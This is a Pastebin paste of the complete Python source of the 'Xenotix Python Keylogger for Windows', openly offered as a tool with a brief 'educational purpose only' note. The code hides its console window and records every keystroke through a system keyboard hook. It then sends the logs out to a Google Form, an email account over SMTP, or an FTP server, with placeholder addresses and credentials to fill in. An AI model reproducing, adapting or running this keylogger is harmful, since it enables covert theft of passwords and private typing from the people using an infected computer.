Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- '''
- Xenotix Python Keylogger for Windows
- ====================================
- Coded By: Ajin Abraham <ajin25@gmail.com>
- Website: http://opensecurity.in/xenotix-python-keylogger-for-windows/
- GitHub: https://github.com/ajinabraham/Xenotix-Python-Keylogger
- FEATURES
- ========
- 1.STORE LOGS LOCALLY
- 2.SEND LOGS TO GOOGLE FORMS
- 3.SEND LOGS TO EMAIL
- 4.SEND LOGS TO FTP
- MINIMUM REQUIREMENTS
- ===================
- Python 2.7: http://www.python.org/getit/
- pyHook Module: http://sourceforge.net/projects/pyhook/
- pyrhoncom Module: http://sourceforge.net/projects/pywin32/
- pyHook Module -
- Unofficial Windows Binaries for Python Extension Packages: http://www.lfd.uci.edu/~gohlke/pythonlibs/
- NOTE: YOU ARE FREE TO COPY,MODIFY,REUSE THE SOURCE CODE FOR EDUCATIONAL PURPOSE ONLY.
- '''
- try:
- import pythoncom, pyHook
- except:
- print "Please Install pythoncom and pyHook modules"
- exit(0)
- import os
- import sys
- import threading
- import urllib,urllib2
- import smtplib
- import ftplib
- import datetime,time
- import win32event, win32api, winerror
- #Disallowing Multiple Instance
- mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
- if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
- mutex = None
- print "Multiple Instance not Allowed"
- exit(0)
- x=''
- data=''
- count=0
- #Hide Console
- def hide():
- import win32console,win32gui
- window = win32console.GetConsoleWindow()
- win32gui.ShowWindow(window,0)
- return True
- def msg():
- print """Xenotix Python Keylogger for Windows
- Coder: Ajin Abraham <ajin25@gmail.com>
- OPENSECURITY.IN
- usage:xenotix_python_logger.py mode
- mode:
- local: store the logs in a file [keylogs.txt]
- remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.
- email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).
- ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY).
- """
- return True
- #Local Keylogger
- def local():
- global data
- if len(data)>100:
- fp=open("keylogs.txt","a")
- fp.write(data)
- fp.close()
- data=''
- return True
- #Remote Google Form logs post
- def remote():
- global data
- if len(data)>100:
- url="https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #Specify Google Form URL here
- klog={'entry.xxxxxxxxxxx':data} #Specify the Field Name here
- try:
- dataenc=urllib.urlencode(klog)
- req=urllib2.Request(url,dataenc)
- response=urllib2.urlopen(req)
- data=''
- except Exception as e:
- print e
- return True
- #Email Logs
- class TimerClass(threading.Thread):
- def __init__(self):
- threading.Thread.__init__(self)
- self.event = threading.Event()
- def run(self):
- while not self.event.is_set():
- global data
- if len(data)>100:
- ts = datetime.datetime.now()
- SERVER = "smtp.gmail.com" #Specify Server Here
- PORT = 587 #Specify Port Here
- USER="your_email@gmail.com"#Specify Username Here
- PASS="password_here"#Specify Password Here
- FROM = USER#From address is taken from username
- TO = ["to_address@gmail.com"] #Specify to address.Use comma if more than one to address is needed.
- SUBJECT = "Keylogger data: "+str(ts)
- MESSAGE = data
- message = """\
- From: %s
- To: %s
- Subject: %s
- %s
- """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
- try:
- server = smtplib.SMTP()
- server.connect(SERVER,PORT)
- server.starttls()
- server.login(USER,PASS)
- server.sendmail(FROM, TO, message)
- data=''
- server.quit()
- except Exception as e:
- print e
- self.event.wait(120)
- #Upload logs to FTP account
- def ftp():
- global data,count
- if len(data)>100:
- count+=1
- FILENAME="logs-"+str(count)+".txt"
- fp=open(FILENAME,"a")
- fp.write(data)
- fp.close()
- data=''
- try:
- SERVER="ftp.xxxxxx.com" #Specify your FTP Server address
- USERNAME="ftp_username" #Specify your FTP Username
- PASSWORD="ftp_password" #Specify your FTP Password
- SSL=0 #Set 1 for SSL and 0 for normal connection
- OUTPUT_DIR="/" #Specify output directory here
- if SSL==0:
- ft=ftplib.FTP(SERVER,USERNAME,PASSWORD)
- elif SSL==1:
- ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD)
- ft.cwd(OUTPUT_DIR)
- fp=open(FILENAME,'rb')
- cmd= 'STOR' +' '+FILENAME
- ft.storbinary(cmd,fp)
- ft.quit()
- fp.close()
- os.remove(FILENAME)
- except Exception as e:
- print e
- return True
- def main():
- global x
- if len(sys.argv)==1:
- msg()
- exit(0)
- else:
- if sys.argv[1]=="local":
- x=1
- hide()
- elif sys.argv[1]=="remote":
- x=2
- hide()
- elif sys.argv[1]=="email":
- hide()
- email=TimerClass()
- email.start()
- elif sys.argv[1]=="ftp":
- x=4
- hide()
- else:
- msg()
- exit(0)
- return True
- main()
- def keypressed(event):
- global x,data
- if event.Ascii==13:
- keys='<ENTER>'
- elif event.Ascii==8:
- keys='<BACK SPACE>'
- elif event.Ascii==9:
- keys='<TAB>'
- else:
- keys=chr(event.Ascii)
- data=data+keys
- if x==1:
- local()
- elif x==2:
- remote()
- elif x==4:
- ftp()
- obj = pyHook.HookManager()
- obj.KeyDown = keypressed
- obj.HookKeyboard()
- pythoncom.PumpMessages()
Add Comment
Please, Sign In to add comment